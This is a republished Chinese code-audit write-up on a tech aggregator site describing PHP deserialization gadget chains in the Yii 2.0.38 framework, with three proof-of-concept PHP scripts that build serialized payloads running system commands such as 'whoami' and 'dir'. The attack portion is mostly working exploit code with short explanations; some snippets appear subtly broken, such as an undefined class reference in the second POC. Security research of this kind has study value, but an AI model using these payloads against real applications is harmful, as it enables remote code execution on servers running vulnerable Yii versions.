IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 开发测试 -> YII 2.0.38反序列化代码审计 -> 正文阅读

[开发测试]YII 2.0.38反序列化代码审计

开始找反序列化的入口点,

namespace Codeception\Extension;

在这里插入图片描述
__destruct()调用stopProcess()然后会调用isRunning(),processes变量是可控的会调__call()函数,然后接上之后的反序列化的链子。继续往下看。

namespace Faker;

在这里插入图片描述
__call()调用format()函数,这里有一个回调函数来使用。然后getFormatter()函数,但是这里的formatters变量是可控的,那么这里只需要调用一个无参的函数即可。
在这里插入图片描述
那么我们继续寻找无参的函数,根据之前的审计经验来看,直接找到。IndexAction.php下的run()方法。

namespace yii\rest;

在这里插入图片描述
整理一下构造的思路:

namespace Codeception\Extension\RunProcess::__destruct()==>stopProcess==>$this->processes
||
\/
namespace Faker\Generator::__call()==>format()==>$this->getFormatter
||
\/
namespace yii\rest\IndexAction::run()

POC1

namespace yii\rest{
	class IndexAction{
		public $checkAccess;
		public $id;
		function __construct(){
			$checkAccess = 'phpinfo()';
			$id = '1';
		}
	}
}

namespace Faker{
	use yii\rest\IndexAction;
	class Generator{
		protected $formatters;
		function __construct(){
			$this->formatters['isRunning'] = [new IndexAction(),'run'];
		}
	}
}

namespace Codeception\Extension{
	use Faker\Generator;
	class RunProcess{
		private $processes;
		function __construct(){
			$this->processes = [new Generator()];
		}
	}
}

namespace{
    // 生成poc
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

POC2

Swift_KeyCache_DiskKeyCache

在这里插入图片描述
在这里插入图片描述
有字符串拼接,继续构造链子__tostring(),全局搜索。

namespace phpDocumentor\Reflection\DocBlock\Tags;

在这里插入图片描述
然后之后就是正常的调用__call(),还是用之前的链子。

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'dir';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;
    class Generator{
        protected $formatters;
        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{
    use Faker\Generator;
    class Version{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\Version;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

POC3

和最开始的哪一条链子一样,还是一样的入口。
\yii\vendor\yiisoft\yii2\web\DbSession.php这个类中的close()方法


在这里插入图片描述


按照之前的思路是通过调用一个拥有__call()的类,然后调用另外一个函数然后继续调用。现在的思路是通过构造一个拥有close的类。


在这里插入图片描述


然后还是需要有一个另外一个继承的类的函数。会调用\vendor\yiisoft\yii2\web\MultiFieldSession.php中的composeFields()方法,因为是继承此类的,看到这个方法。


在这里插入图片描述


利用call_user_func()函数能够将实例化对象作为数组传递给函数,因为我们可控$this->writeCallback,然后赋值[new \yii\rest\IndexAction($func, $param), "run"];
调用之前终点的方法,再进行RCE。这里也是调用无参的方法。

<?php
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('system', 'whoami');
    echo(base64_encode(serialize($exp)));
}

call_user_func_array和call_user_func

call_user_func_array
在这里插入图片描述
在这里插入图片描述
call_user_func
在这里插入图片描述
在这里插入图片描述

  开发测试 最新文章
pytest系列——allure之生成测试报告(Wind
某大厂软件测试岗一面笔试题+二面问答题面试
iperf 学习笔记
关于Python中使用selenium八大定位方法
【软件测试】为什么提升不了?8年测试总结再
软件测试复习
PHP笔记-Smarty模板引擎的使用
C++Test使用入门
【Java】单元测试
Net core 3.x 获取客户端地址
上一篇文章      下一篇文章      查看所有文章
加:2022-02-16 13:25:12  更:2022-02-16 13:25:22 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/18 2:37:47-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码